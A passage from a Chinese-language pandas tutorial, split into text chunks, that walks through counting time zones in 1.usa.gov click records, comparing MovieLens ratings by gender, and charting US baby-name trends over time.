现在，records对象就成为一组Python字典了： In [18]: records[0] Out[18]: {'a': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.78 Safari/535.11', 'al': 'en-US,en;q=0.8', 'c': 'US', 'cy': 'Danvers', 'g': 'A6qOVH', 'gr': 'MA', 406 'h': 'wfLQtf', 'hc': 1331822918, 'hh': '1.usa.gov', 'l': 'orofrog', 'll': [42.576698, -70.954903], 'nk': 1, 'r': 'http://www.facebook.com/l/7AQEFzjSi/1.usa.gov/wfLQtf', 't': 1331923247, 'tz': 'America/New_York', 'u': 'http://www.ncbi.nlm.nih.gov/pubmed/22415991'} 用纯 Python 代码对时区进行计数 假设我们想要知道该数据集中最常出现的是哪个时区（即tz字段），得到答案的办法有很多。"},
    {"text": "首 先，我们用列表推导式取出一组时区： In [12]: time_zones = [rec['tz'] for rec in records] --------------------------------------------------------------------------- KeyError Traceback (most recent call last) <ipython-input-12-db4fbd348da9> in <module>() ----> 1 time_zones = [rec['tz'] for rec in records] <ipython-input-12-db4fbd348da9> in <listcomp>(.0) ----> 1 time_zones = [rec['tz'] for rec in records] KeyError: 'tz' 晕！"},
    {"text": "这个好办，只需在列表推导式末尾加上一个if 'tz'in rec判 断即可： In [13]: time_zones = [rec['tz'] for rec in records if 'tz' in rec] In [14]: time_zones[:10] Out[14]: ['America/New_York', 'America/Denver', 'America/New_York', 'America/Sao_Paulo', 'America/New_York', 'America/New_York', 'Europe/Warsaw', '', '', ''] 407 只看前10个时区，我们发现有些是未知的（即空的）。"},
    {"text": "计数的办法之一是在遍历时区的过程中将计数值保存在字典中： def get_counts(sequence): counts = {} for x in sequence: if x in counts: counts[x] += 1 else: counts[x] = 1 return counts 如果使用Python标准库的更高级工具，那么你可能会将代码写得更简洁一些： from collections import defaultdict def get_counts2(sequence): counts = defaultdict(int) # values will initialize to 0 for x in sequence: counts[x] += 1 return counts 我将逻辑写到函数中是为了获得更高的复用性。 要用它对时区进行处理，只需将time_zones传入 即可： In [17]: counts = get_counts(time_zones) In [18]: counts['America/New_York'] Out[18]: 1251 In [19]: len(time_zones) Out[19]: 3440 如果想要得到前10位的时区及其计数值，我们需要用到一些有关字典的处理技巧： def top_counts(count_dict, n=10): value_key_pairs = [(count, tz) for tz, count in count_dict.items()] value_key_pairs.sort() return value_key_pairs[-n:] 然后有： In [21]: top_counts(counts) Out[21]: 408 [(33, 'America/Sao_Paulo'), (35, 'Europe/Madrid'), (36, 'Pacific/Honolulu'), (37, 'Asia/Tokyo'), (74, 'Europe/London'), (191, 'America/Denver'), (382, 'America/Los_Angeles'), (400, 'America/Chicago'), (521, ''), (1251, 'America/New_York')] 如果你搜索Python的标准库，你能找到collections.Counter类，它可以使这项工作更简单： In [22]: from collections import Counter In [23]: counts = Counter(time_zones) In [24]: counts.most_common(10) Out[24]: [('America/New_York', 1251), ('', 521), ('America/Chicago', 400), ('America/Los_Angeles', 382), ('America/Denver', 191), ('Europe/London', 74), ('Asia/Tokyo', 37), ('Pacific/Honolulu', 36), ('Europe/Madrid', 35), ('America/Sao_Paulo', 33)] 用 pandas 对时区进行计数 从原始记录的集合创建DateFrame，与将记录列表传递到pandas.DataFrame一样简单： In [25]: import pandas as pd In [26]: frame = pd.DataFrame(records) In [27]: frame.info() <class 'pandas.core.frame.DataFrame'> RangeIndex: 3560 entries, 0 to 3559 Data columns (total 18 columns): _heartbeat_ 120 non-null float64 a 3440 non-null object al 3094 non-null object c 2919 non-null object 409 cy 2919 non-null object g 3440 non-null object gr 2919 non-null object h 3440 non-null object hc 3440 non-null float64 hh 3440 non-null object kw 93 non-null object l 3440 non-null object ll 2919 non-null object nk 3440 non-null float64 r 3440 non-null object t 3440 non-null float64 tz 3440 non-null object u 3440 non-null object dtypes: float64(4), object(14) memory usage: 500.7+ KB In [28]: frame['tz'][:10] Out[28]: 0 America/New_York 1 America/Denver 2 America/New_York 3 America/Sao_Paulo 4 America/New_York 5 America/New_York 6 Europe/Warsaw 7 8 9 Name: tz, dtype: object 这里frame的输出形式是摘要视图（summary view），主要用于较大的DataFrame对象。"},
    {"text": "我们然后 可以对Series使用value_counts方法： In [29]: tz_counts = frame['tz'].value_counts() In [30]: tz_counts[:10] Out[30]: America/New_York 1251 521 America/Chicago 400 America/Los_Angeles 382 America/Denver 191 Europe/London 74 Asia/Tokyo 37 Pacific/Honolulu 36 Europe/Madrid 35 America/Sao_Paulo 33 410 Name: tz, dtype: int64 我们可以用matplotlib可视化这个数据。"},
    {"text": "fillna函数可以替换缺失值（NA），而未知值（空字符串）则可以通过布尔型数组索引加以替 换： In [31]: clean_tz = frame['tz'].fillna('Missing') In [32]: clean_tz[clean_tz == ''] = 'Unknown' In [33]: tz_counts = clean_tz.value_counts() In [34]: tz_counts[:10] Out[34]: America/New_York 1251 Unknown 521 America/Chicago 400 America/Los_Angeles 382 America/Denver 191 Missing 120 Europe/London 74 Asia/Tokyo 37 Pacific/Honolulu 36 Europe/Madrid 35 Name: tz, dtype: int64 此时，我们可以用seaborn包创建水平柱状图（结果见图14-1）： In [36]: import seaborn as sns In [37]: subset = tz_counts[:10] In [38]: sns.barplot(y=subset.index, x=subset.values) 411 a字段含有执行URL短缩操作的浏览器、设备、应用程序的相关信息： In [39]: frame['a'][1] Out[39]: 'GoogleMaps/RochesterNY' In [40]: frame['a'][50] Out[40]: 'Mozilla/5.0 (Windows NT 5.1; rv:10.0.2) Gecko/20100101 Firefox/10.0.2' In [41]: frame['a'][51][:50] # long line Out[41]: 'Mozilla/5.0 (Linux; U; Android 2.2.2; en-us; LG-P9' 将这些\"agent\"字符串中的所有信息都解析出来是一件挺郁闷的工作。"},
    {"text": "一种策略是将这种字符串的 第一节（与浏览器大致对应）分离出来并得到另外一份用户行为摘要： In [42]: results = pd.Series([x.split()[0] for x in frame.a.dropna()]) In [43]: results[:5] Out[43]: 0 Mozilla/5.0 1 GoogleMaps/RochesterNY 2 Mozilla/4.0 3 Mozilla/5.0 4 Mozilla/5.0 dtype: object In [44]: results.value_counts()[:8] Out[44]: Mozilla/5.0 2594 Mozilla/4.0 601 GoogleMaps/RochesterNY 121 Opera/9.80 34 TEST_INTERNET_AGENT 24 GoogleProducer 21 Mozilla/6.0 5 BlackBerry8520/5.0.0.681 4 dtype: int64 现在，假设你想按Windows和非Windows用户对时区统计信息进行分解。"},
    {"text": "由于有的agent缺失，所以首 先将它们从数据中移除： In [45]: cframe = frame[frame.a.notnull()] 然后计算出各行是否含有Windows的值： 412 In [47]: cframe['os'] = np.where(cframe['a'].str.contains('Windows'), ....: 'Windows', 'Not Windows') In [48]: cframe['os'][:5] Out[48]: 0 Windows 1 Not Windows 2 Windows 3 Not Windows 4 Windows Name: os, dtype: object 接下来就可以根据时区和新得到的操作系统列表对数据进行分组了： In [49]: by_tz_os = cframe.groupby(['tz', 'os']) 分组计数，类似于value_counts函数，可以用size来计算。"},
    {"text": "并利用unstack对计数结果进行重塑： In [50]: agg_counts = by_tz_os.size().unstack().fillna(0) In [51]: agg_counts[:10] Out[51]: os Not Windows Windows tz 245.0 276.0 Africa/Cairo 0.0 3.0 Africa/Casablanca 0.0 1.0 Africa/Ceuta 0.0 2.0 Africa/Johannesburg 0.0 1.0 Africa/Lusaka 0.0 1.0 America/Anchorage 4.0 1.0 America/Argentina/Buenos_Aires 1.0 0.0 America/Argentina/Cordoba 0.0 1.0 America/Argentina/Mendoza 0.0 1.0 最后，我们来选取最常出现的时区。"},
    {"text": "为了达到这个目的，我根据agg_counts中的行数构造了一个 间接索引数组： # Use to sort in ascending order In [52]: indexer = agg_counts.sum(1).argsort() In [53]: indexer[:10] Out[53]: tz 24 Africa/Cairo 20 413 Africa/Casablanca 21 Africa/Ceuta 92 Africa/Johannesburg 87 Africa/Lusaka 53 America/Anchorage 54 America/Argentina/Buenos_Aires 57 America/Argentina/Cordoba 26 America/Argentina/Mendoza 55 dtype: int64 然后我通过take按照这个顺序截取了最后10行最大值： In [54]: count_subset = agg_counts.take(indexer[-10:]) In [55]: count_subset Out[55]: os Not Windows Windows tz America/Sao_Paulo 13.0 20.0 Europe/Madrid 16.0 19.0 Pacific/Honolulu 0.0 36.0 Asia/Tokyo 2.0 35.0 Europe/London 43.0 31.0 America/Denver 132.0 59.0 America/Los_Angeles 130.0 252.0 America/Chicago 115.0 285.0 245.0 276.0 America/New_York 339.0 912.0 pandas有一个简便方法nlargest，可以做同样的工作： In [56]: agg_counts.sum(1).nlargest(10) Out[56]: tz America/New_York 1251.0 521.0 America/Chicago 400.0 America/Los_Angeles 382.0 America/Denver 191.0 Europe/London 74.0 Asia/Tokyo 37.0 Pacific/Honolulu 36.0 Europe/Madrid 35.0 America/Sao_Paulo 33.0 dtype: float64 414 然后，如这段代码所示，可以用柱状图表示。 我传递一个额外参数到seaborn的barpolt函数，来画 一个堆积条形图（见图14-2）： # Rearrange the data for plotting In [58]: count_subset = count_subset.stack() In [59]: count_subset.name = 'total' In [60]: count_subset = count_subset.reset_index() In [61]: count_subset[:10] Out[61]: tz os total 0 America/Sao_Paulo Not Windows 13.0 1 America/Sao_Paulo Windows 20.0 2 Europe/Madrid Not Windows 16.0 3 Europe/Madrid Windows 19.0 4 Pacific/Honolulu Not Windows 0.0 5 Pacific/Honolulu Windows 36.0 6 Asia/Tokyo Not Windows 2.0 7 Asia/Tokyo Windows 35.0 8 Europe/London Not Windows 43.0 9 Europe/London Windows 31.0 In [62]: sns.barplot(x='total', y='tz', hue='os', data=count_subset) 这张图不容易看出Windows用户在小分组中的相对比例，因此标准化分组百分比之和为1： 415 def norm_total(group): group['normed_total'] = group.total / group.total.sum() return group results = count_subset.groupby('tz').apply(norm_total) 再次画图，见图14-3： In [65]: sns.barplot(x='normed_total', y='tz', hue='os', data=results) 我们还可以用groupby的transform方法，更高效的计算标准化的和： In [66]: g = count_subset.groupby('tz') In [67]: results2 = count_subset.total / g.total.transform('sum') 14.2 MovieLens 1M 数据集 MovieLens 1M数据集含有来自6000名用户对4000部电影的100万条评分数据。"},
    {"text": "将该数据从zip文件中解压出来之后，可以通过pandas.read_table将各 个表分别读到一个pandas DataFrame对象中： import pandas as pd # Make display smaller pd.options.display.max_rows = 10 unames = ['user_id', 'gender', 'age', 'occupation', 'zip'] users = pd.read_table('datasets/movielens/users.dat', sep='::', header=None, names=unames) rnames = ['user_id', 'movie_id', 'rating', 'timestamp'] ratings = pd.read_table('datasets/movielens/ratings.dat', sep='::', header=None, names=rnames) mnames = ['movie_id', 'title', 'genres'] movies = pd.read_table('datasets/movielens/movies.dat', sep='::', header=None, names=mnames) 利用Python的切片语法，通过查看每个DataFrame的前几行即可验证数据加载工作是否一切顺 利： In [69]: users[:5] Out[69]: user_id gender age occupation zip 0 1 F 1 10 48067 1 2 M 56 16 70072 2 3 M 25 15 55117 3 4 M 45 7 02460 4 5 M 25 20 55455 In [70]: ratings[:5] Out[70]: user_id movie_id rating timestamp 0 1 1193 5 978300760 1 1 661 3 978302109 2 1 914 3 978301968 3 1 3408 4 978300275 4 1 2355 5 978824291 In [71]: movies[:5] Out[71]: movie_id title genres 0 1 Toy Story (1995) Animation|Children's|Comedy 1 2 Jumanji (1995) Adventure|Children's|Fantasy 2 3 Grumpier Old Men (1995) Comedy|Romance 417 3 4 Waiting to Exhale (1995) Comedy|Drama 4 5 Father of the Bride Part II (1995) Comedy In [72]: ratings Out[72]: user_id movie_id rating timestamp 0 1 1193 5 978300760 1 1 661 3 978302109 2 1 914 3 978301968 3 1 3408 4 978300275 4 1 2355 5 978824291 ... ... ... ... ... 1000204 6040 1091 1 956716541 1000205 6040 1094 5 956704887 1000206 6040 562 5 956704746 1000207 6040 1096 4 956715648 1000208 6040 1097 4 956715569 [1000209 rows x 4 columns] 注意，其中的年龄和职业是以编码形式给出的，它们的具体含义请参考该数据集的README文 件。"},
    {"text": "pandas会根据列名的重叠 情况推断出哪些列是合并（或连接）键： In [73]: data = pd.merge(pd.merge(ratings, users), movies) In [74]: data Out[74]: user_id movie_id rating timestamp gender age occupation zip \\ 0 1 1193 5 978300760 F 1 10 48067 1 2 1193 5 978298413 M 56 16 70072 2 12 1193 4 978220179 M 25 12 32793 3 15 1193 4 978199279 M 25 7 22903 4 17 1193 5 978158471 M 50 1 95350 ... ... ... ... ... ... ... ... ... 1000204 5949 2198 5 958846401 M 18 17 47901 1000205 5675 2703 3 976029116 M 35 14 30030 1000206 5780 2845 1 958153068 M 18 17 92886 1000207 5851 3607 5 957756608 F 18 20 55410 1000208 5938 2909 4 957273353 M 25 1 35401 title genres 0 One Flew Over the Cuckoo's Nest (1975) Drama 1 One Flew Over the Cuckoo's Nest (1975) Drama 2 One Flew Over the Cuckoo's Nest (1975) Drama 3 One Flew Over the Cuckoo's Nest (1975) Drama 4 One Flew Over the Cuckoo's Nest (1975) Drama 418 ... ... ... 1000204 Modulations (1998) Documentary 1000205 Broken Vessels (1998) Drama 1000206 White Boys (1999) Drama 1000207 One Little Indian (1973) Comedy|Drama|Western 1000208 Five Wives, Three Secretaries and Me (1998) Documentary [1000209 rows x 10 columns] In [75]: data.iloc[0] Out[75]: user_id 1 movie_id 1193 rating 5 timestamp 978300760 gender F age 1 occupation 10 zip 48067 title One Flew Over the Cuckoo's Nest (1975) genres Drama Name: 0, dtype: object 为了按性别计算每部电影的平均得分，我们可以使用pivot_table方法： In [76]: mean_ratings = data.pivot_table('rating', index='title', ....: columns='gender', aggfunc='mean') In [77]: mean_ratings[:5] Out[77]: gender F M title $1,000,000 Duck (1971) 3.375000 2.761905 'Night Mother (1986) 3.388889 3.352941 'Til There Was You (1997) 2.675676 2.733333 'burbs, The (1989) 2.793478 2.962085 ...And Justice for All (1979) 3.828571 3.689024 该操作产生了另一个DataFrame，其内容为电影平均得分，行标为电影名称（索引），列标为性 别。"},
    {"text": "为了达到这个目的， 我先对title进行分组，然后利用size()得到一个含有各电影分组大小的Series对象： In [78]: ratings_by_title = data.groupby('title').size() In [79]: ratings_by_title[:10] Out[79]: title $1,000,000 Duck (1971) 37 419 'Night Mother (1986) 70 'Til There Was You (1997) 52 'burbs, The (1989) 303 ...And Justice for All (1979) 199 1-900 (1994) 2 10 Things I Hate About You (1999) 700 101 Dalmatians (1961) 565 101 Dalmatians (1996) 364 12 Angry Men (1957) 616 dtype: int64 In [80]: active_titles = ratings_by_title.index[ratings_by_title >= 250] In [81]: active_titles Out[81]: Index([''burbs, The (1989)', '10 Things I Hate About You (1999)', '101 Dalmatians (1961)', '101 Dalmatians (1996)', '12 Angry Men (1957)', '13th Warrior, The (1999)', '2 Days in the Valley (1996)', '20,000 Leagues Under the Sea (1954)', '2001: A Space Odyssey (1968)', '2010 (1984)', ... 'X-Men (2000)', 'Year of Living Dangerously (1982)', 'Yellow Submarine (1968)', 'You've Got Mail (1998)', 'Young Frankenstein (1974)', 'Young Guns (1988)', 'Young Guns II (1990)', 'Young Sherlock Holmes (1985)', 'Zero Effect (1998)', 'eXistenZ (1999)'], dtype='object', name='title', length=1216) 标题索引中含有评分数据大于250条的电影名称，然后我们就可以据此从前面的mean_ratings中选 取所需的行了： # Select rows on the index In [82]: mean_ratings = mean_ratings.loc[active_titles] In [83]: mean_ratings Out[83]: gender F M title 'burbs, The (1989) 2.793478 2.962085 10 Things I Hate About You (1999) 3.646552 3.311966 101 Dalmatians (1961) 3.791444 3.500000 101 Dalmatians (1996) 3.240000 2.911215 12 Angry Men (1957) 4.184397 4.328421 ... ... ... Young Guns (1988) 3.371795 3.425620 Young Guns II (1990) 2.934783 2.904025 Young Sherlock Holmes (1985) 3.514706 3.363344 Zero Effect (1998) 3.864407 3.723140 420 eXistenZ (1999) 3.098592 3.289086 [1216 rows x 2 columns] 为了了解女性观众最喜欢的电影，我们可以对F列降序排列： In [85]: top_female_ratings = mean_ratings.sort_values(by='F', ascending=False) In [86]: top_female_ratings[:10] Out[86]: gender F M title Close Shave, A (1995) 4.644444 4.473795 Wrong Trousers, The (1993) 4.588235 4.478261 Sunset Blvd. (a.k.a. Sunset Boulevard) (1950) 4.572650 4.464589 Wallace & Gromit: The Best of Aardman Animation... 4.563107 4.385075 Schindler's List (1993) 4.562602 4.491415 Shawshank Redemption, The (1994) 4.539075 4.560625 Grand Day Out, A (1992) 4.537879 4.293255 To Kill a Mockingbird (1962) 4.536667 4.372611 Creature Comforts (1990) 4.513889 4.272277 Usual Suspects, The (1995) 4.513317 4.518248 计算评分分歧 假设我们想要找出男性和女性观众分歧最大的电影。"},
    {"text": "一个办法是给mean_ratings加上一个用于存 放平均得分之差的列，并对其进行排序： In [87]: mean_ratings['diff'] = mean_ratings['M'] - mean_ratings['F'] 按\"diff\"排序即可得到分歧最大且女性观众更喜欢的电影： In [88]: sorted_by_diff = mean_ratings.sort_values(by='diff') In [89]: sorted_by_diff[:10] Out[89]: gender F M diff title Dirty Dancing (1987) 3.790378 2.959596 -0.830782 Jumpin' Jack Flash (1986) 3.254717 2.578358 -0.676359 Grease (1978) 3.975265 3.367041 -0.608224 Little Women (1994) 3.870588 3.321739 -0.548849 Steel Magnolias (1989) 3.901734 3.365957 -0.535777 Anastasia (1997) 3.800000 3.281609 -0.518391 Rocky Horror Picture Show, The (1975) 3.673016 3.160131 -0.512885 Color Purple, The (1985) 4.158192 3.659341 -0.498851 421 Age of Innocence, The (1993) 3.827068 3.339506 -0.487561 Free Willy (1993) 2.921348 2.438776 -0.482573 对排序结果反序并取出前10行，得到的则是男性观众更喜欢的电影： # Reverse order of rows, take first 10 rows In [90]: sorted_by_diff[::-1][:10] Out[90]: gender F M diff title Good, The Bad and The Ugly, The (1966) 3.494949 4.221300 0.726351 Kentucky Fried Movie, The (1977) 2.878788 3.555147 0.676359 Dumb & Dumber (1994) 2.697987 3.336595 0.638608 Longest Day, The (1962) 3.411765 4.031447 0.619682 Cable Guy, The (1996) 2.250000 2.863787 0.613787 Evil Dead II (Dead By Dawn) (1987) 3.297297 3.909283 0.611985 Hidden, The (1987) 3.137931 3.745098 0.607167 Rocky III (1982) 2.361702 2.943503 0.581801 Caddyshack (1980) 3.396135 3.969737 0.573602 For a Few Dollars More (1965) 3.409091 3.953795 0.544704 如果只是想要找出分歧最大的电影（不考虑性别因素），则可以计算得分数据的方差或标准差： # Standard deviation of rating grouped by title In [91]: rating_std_by_title = data.groupby('title')['rating'].std() # Filter down to active_titles In [92]: rating_std_by_title = rating_std_by_title.loc[active_titles] # Order Series by value in descending order In [93]: rating_std_by_title.sort_values(ascending=False)[:10] Out[93]: title Dumb & Dumber (1994) 1.321333 Blair Witch Project, The (1999) 1.316368 Natural Born Killers (1994) 1.307198 Tank Girl (1995) 1.277695 Rocky Horror Picture Show, The (1975) 1.260177 Eyes Wide Shut (1999) 1.259624 Evita (1996) 1.253631 Billy Madison (1995) 1.249970 Fear and Loathing in Las Vegas (1998) 1.246408 Bicentennial Man (1999) 1.245533 Name: rating, dtype: float64 422 可能你已经注意到了，电影分类是以竖线（|）分隔的字符串形式给出的。"},
    {"text": "我们要做一些数据规整才能加载这个数据集，这么做就会产生一个如下的DataFrame： In [4]: names.head(10) Out[4]: name sex births year 0 Mary F 7065 1880 1 Anna F 2604 1880 2 Emma F 2003 1880 3 Elizabeth F 1939 1880 4 Minnie F 1746 1880 5 Margaret F 1578 1880 6 Ida F 1472 1880 7 Alice F 1414 1880 8 Bertha F 1320 1880 9 Sarah F 1288 1880 你可以用这个数据集做很多事，例如： 计算指定名字（可以是你自己的，也可以是别人的）的年度比例。"},
    {"text": "我用UNIX 的head命令查看了其中一个文件的前10行（在Windows上，你可以用more命令，或直接在文本编 辑器中打开）： In [94]: !head -n 10 datasets/babynames/yob1880.txt Mary,F,7065 423 Anna,F,2604 Emma,F,2003 Elizabeth,F,1939 Minnie,F,1746 Margaret,F,1578 Ida,F,1472 Alice,F,1414 Bertha,F,1320 Sarah,F,1288 由于这是一个非常标准的以逗号隔开的格式，所以可以用pandas.read_csv将其加载到DataFrame 中： In [95]: import pandas as pd In [96]: names1880 = pd.read_csv('datasets/babynames/yob1880.txt', ....: names=['name', 'sex', 'births']) In [97]: names1880 Out[97]: name sex births 0 Mary F 7065 1 Anna F 2604 2 Emma F 2003 3 Elizabeth F 1939 4 Minnie F 1746 ... ... .. ... 1995 Woodie M 5 1996 Worthy M 5 1997 Wright M 5 1998 York M 5 1999 Zachariah M 5 [2000 rows x 3 columns] 这些文件中仅含有当年出现超过5次的名字。"},
    {"text": "为了简单起见，我们可以用births列的sex分组小计表 示该年度的births总计： In [98]: names1880.groupby('sex').births.sum() Out[98]: sex F 90993 M 110493 Name: births, dtype: int64 424 由于该数据集按年度被分隔成了多个文件，所以第一件事情就是要将所有数据都组装到一个 DataFrame里面，并加上一个year字段。"},
    {"text": "使用pandas.concat即可达到这个目的： years = range(1880, 2011) pieces = [] columns = ['name', 'sex', 'births'] for year in years: path = 'datasets/babynames/yob%d.txt' % year frame = pd.read_csv(path, names=columns) frame['year'] = year pieces.append(frame) # Concatenate everything into a single DataFrame names = pd.concat(pieces, ignore_index=True) 这里需要注意几件事情。"},
    {"text": "现在我们得到了一个非 常大的DataFrame，它含有全部的名字数据： In [100]: names Out[100]: name sex births year 0 Mary F 7065 1880 1 Anna F 2604 1880 2 Emma F 2003 1880 3 Elizabeth F 1939 1880 4 Minnie F 1746 1880 ... ... .. ... ... 1690779 Zymaire M 5 2010 1690780 Zyonne M 5 2010 1690781 Zyquarius M 5 2010 1690782 Zyran M 5 2010 1690783 Zzyzx M 5 2010 [1690784 rows x 4 columns] 有了这些数据之后，我们就可以利用groupby或pivot_table在year和sex级别上对其进行聚合了，如 图14-4所示： In [101]: total_births = names.pivot_table('births', index='year', .....: columns='sex', aggfunc=sum) In [102]: total_births.tail() Out[102]: 425 sex F M year 2006 1896468 2050234 2007 1916888 2069242 2008 1883645 2032310 2009 1827643 1973359 2010 1759010 1898382 In [103]: total_births.plot(title='Total births by sex and year') 下面我们来插入一个prop列，用于存放指定名字的婴儿数相对于总出生数的比例。"},
    {"text": "因此，我们先按year和sex分组，然后再将新列加到各 个分组上： def add_prop(group): group['prop'] = group.births / group.births.sum() return group names = names.groupby(['year', 'sex']).apply(add_prop) 现在，完整的数据集就有了下面这些列： In [105]: names Out[105]: 426 name sex births year prop 0 Mary F 7065 1880 0.077643 1 Anna F 2604 1880 0.028618 2 Emma F 2003 1880 0.022013 3 Elizabeth F 1939 1880 0.021309 4 Minnie F 1746 1880 0.019188 ... ... .. ... ... ... 1690779 Zymaire M 5 2010 0.000003 1690780 Zyonne M 5 2010 0.000003 1690781 Zyquarius M 5 2010 0.000003 1690782 Zyran M 5 2010 0.000003 1690783 Zzyzx M 5 2010 0.000003 [1690784 rows x 5 columns] 在执行这样的分组处理时，一般都应该做一些有效性检查，比如验证所有分组的prop的总和是否为 1： In [106]: names.groupby(['year', 'sex']).prop.sum() Out[106]: year sex 1880 F 1.0 M 1.0 1881 F 1.0 M 1.0 1882 F 1.0 ... 2008 M 1.0 2009 F 1.0 M 1.0 2010 F 1.0 M 1.0 Name: prop, Length: 262, dtype: float64 工作完成。"},
    {"text": "这又是一个分组操作： def get_top1000(group): return group.sort_values(by='births', ascending=False)[:1000] grouped = names.groupby(['year', 'sex']) top1000 = grouped.apply(get_top1000) # Drop the group index, not needed top1000.reset_index(inplace=True, drop=True) 如果你喜欢DIY的话，也可以这样： pieces = [] 427 for year, group in names.groupby(['year', 'sex']): pieces.append(group.sort_values(by='births', ascending=False)[:1000]) top1000 = pd.concat(pieces, ignore_index=True) 现在的结果数据集就小多了： In [108]: top1000 Out[108]: name sex births year prop 0 Mary F 7065 1880 0.077643 1 Anna F 2604 1880 0.028618 2 Emma F 2003 1880 0.022013 3 Elizabeth F 1939 1880 0.021309 4 Minnie F 1746 1880 0.019188 ... ... .. ... ... ... 261872 Camilo M 194 2010 0.000102 261873 Destin M 194 2010 0.000102 261874 Jaquan M 194 2010 0.000102 261875 Jaydan M 194 2010 0.000102 261876 Maxton M 193 2010 0.000102 [261877 rows x 5 columns] 接下来的数据分析工作就针对这个top1000数据集了。"},
    {"text": "首先将前 1000个名字分为男女两个部分： In [109]: boys = top1000[top1000.sex == 'M'] In [110]: girls = top1000[top1000.sex == 'F'] 这是两个简单的时间序列，只需稍作整理即可绘制出相应的图表（比如每年叫做John和Mary的婴 儿数）。"},
    {"text": "我们先生成一张按year和name统计的总出生数透视表： In [111]: total_births = top1000.pivot_table('births', index='year', .....: columns='name', .....: aggfunc=sum) 现在，我们用DataFrame的plot方法绘制几个名字的曲线图（见图14-5）： In [112]: total_births.info() <class 'pandas.core.frame.DataFrame'> 428 Int64Index: 131 entries, 1880 to 2010 Columns: 6868 entries, Aaden to Zuri dtypes: float64(6868) memory usage: 6.9 MB In [113]: subset = total_births[['John', 'Harry', 'Mary', 'Marilyn']] In [114]: subset.plot(subplots=True, figsize=(12, 10), grid=False, .....: title=\"Number of births per year\") 从图中可以看出，这几个名字在美国人民的心目中已经风光不再了。"},
    {"text": "一个办法是 计算最流行的1000个名字所占的比例，我按year和sex进行聚合并绘图（见图14-6）： In [116]: table = top1000.pivot_table('prop', index='year', 429 .....: columns='sex', aggfunc=sum) In [117]: table.plot(title='Sum of table1000.prop by year and sex', .....: yticks=np.linspace(0, 1.2, 13), xticks=range(1880, 2020, 10) ) 从图中可以看出，名字的多样性确实出现了增长（前1000项的比例降低）。"},
    {"text": "我们只考虑2010年男孩的名字： In [118]: df = boys[boys.year == 2010] In [119]: df Out[119]: name sex births year prop 260877 Jacob M 21875 2010 0.011523 260878 Ethan M 17866 2010 0.009411 260879 Michael M 17133 2010 0.009025 260880 Jayden M 17030 2010 0.008971 260881 William M 16870 2010 0.008887 ... ... .. ... ... ... 261872 Camilo M 194 2010 0.000102 261873 Destin M 194 2010 0.000102 261874 Jaquan M 194 2010 0.000102 261875 Jaydan M 194 2010 0.000102 430 261876 Maxton M 193 2010 0.000102 [1000 rows x 5 columns] 在对prop降序排列之后，我们想知道前面多少个名字的人数加起来才够50%。"},
    {"text": "先计算prop的累计和cumsum，然后 再通过searchsorted方法找出0.5应该被插入在哪个位置才能保证不破坏顺序： In [120]: prop_cumsum = df.sort_values(by='prop', ascending=False).prop.cumsum() In [121]: prop_cumsum[:10] Out[121]: 260877 0.011523 260878 0.020934 260879 0.029959 260880 0.038930 260881 0.047817 260882 0.056579 260883 0.065155 260884 0.073414 260885 0.081528 260886 0.089621 Name: prop, dtype: float64 In [122]: prop_cumsum.values.searchsorted(0.5) Out[122]: 116 由于数组索引是从0开始的，因此我们要给这个结果加1，即最终结果为117。"},
    {"text": "拿1900年的数据来 做个比较，这个数字要小得多： In [123]: df = boys[boys.year == 1900] In [124]: in1900 = df.sort_values(by='prop', ascending=False).prop.cumsum() In [125]: in1900.values.searchsorted(0.5) + 1 Out[125]: 25 现在就可以对所有year/sex组合执行这个计算了。 按这两个字段进行groupby处理，然后用一个函 数计算各分组的这个值： def get_quantile_count(group, q=0.5): group = group.sort_values(by='prop', ascending=False) return group.prop.cumsum().values.searchsorted(q) + 1 diversity = top1000.groupby(['year', 'sex']).apply(get_quantile_count) diversity = diversity.unstack('sex') 431 现在，diversity这个DataFrame拥有两个时间序列（每个性别各一个，按年度索引）。"},
    {"text": "通过 IPython，你可以查看其内容，还可以像之前那样绘制图表（如图14-7所示）： In [128]: diversity.head() Out[128]: sex F M year 1880 38 14 1881 38 14 1882 38 15 1883 39 15 1884 39 16 In [129]: diversity.plot(title=\"Number of popular names in top 50%\") 从图中可以看出，女孩名字的多样性总是比男孩的高，而且还在变得越来越高。"},
    {"text": "“ 最后一个字母 ” 的变革 432 2007年，一名婴儿姓名研究人员Laura Wattenberg在她自己的网站上指出 # extract last letter from name column get_last_letter = lambda x: x[-1] last_letters = names.name.map(get_last_letter) last_letters.name = 'last_letter' table = names.pivot_table('births', index=last_letters, columns=['sex', 'year'], aggfunc=sum) 然后，我选出具有一定代表性的三年，并输出前面几行： In [131]: subtable = table.reindex(columns=[1910, 1960, 2010], level='year') In [132]: subtable.head() Out[132]: sex F M year 1910 1960 2010 1910 1960 2010 last_letter a 108376.0 691247.0 670605.0 977.0 5204.0 28438.0 b NaN 694.0 450.0 411.0 3912.0 38859.0 c 5.0 49.0 946.0 482.0 15476.0 23125.0 d 6750.0 3729.0 2607.0 22111.0 262112.0 44398.0 e 133569.0 435013.0 313833.0 28655.0 178823.0 129012.0 接下来我们需要按总出生数对该表进行规范化处理，以便计算出各性别各末字母占总出生人数的比 例： In [133]: subtable.sum() Out[133]: sex year F 1910 396416.0 1960 2022062.0 2010 1759010.0 M 1910 194198.0 1960 2132588.0 2010 1898382.0 dtype: float64 In [134]: letter_prop = subtable / subtable.sum() In [135]: letter_prop Out[135]: sex F M 433 year 1910 1960 2010 1910 1960 2010 last_letter a 0.273390 0.341853 0.381240 0.005031 0.002440 0.014980 b NaN 0.000343 0.000256 0.002116 0.001834 0.020470 c 0.000013 0.000024 0.000538 0.002482 0.007257 0.012181 d 0.017028 0.001844 0.001482 0.113858 0.122908 0.023387 e 0.336941 0.215133 0.178415 0.147556 0.083853 0.067959 ... ... ... ... ... ... ... v NaN 0.000060 0.000117 0.000113 0.000037 0.001434 w 0.000020 0.000031 0.001182 0.006329 0.007711 0.016148 x 0.000015 0.000037 0.000727 0.003965 0.001851 0.008614 y 0.110972 0.152569 0.116828 0.077349 0.160987 0.058168 z 0.002439 0.000659 0.000704 0.000170 0.000184 0.001831 [26 rows x 6 columns] 有了这个字母比例数据之后，就可以生成一张各年度各性别的条形图了，如图14-8所示： import matplotlib.pyplot as plt fig, axes = plt.subplots(2, 1, figsize=(10, 8)) letter_prop['M'].plot(kind='bar', rot=0, ax=axes[0], title='Male') letter_prop['F'].plot(kind='bar', 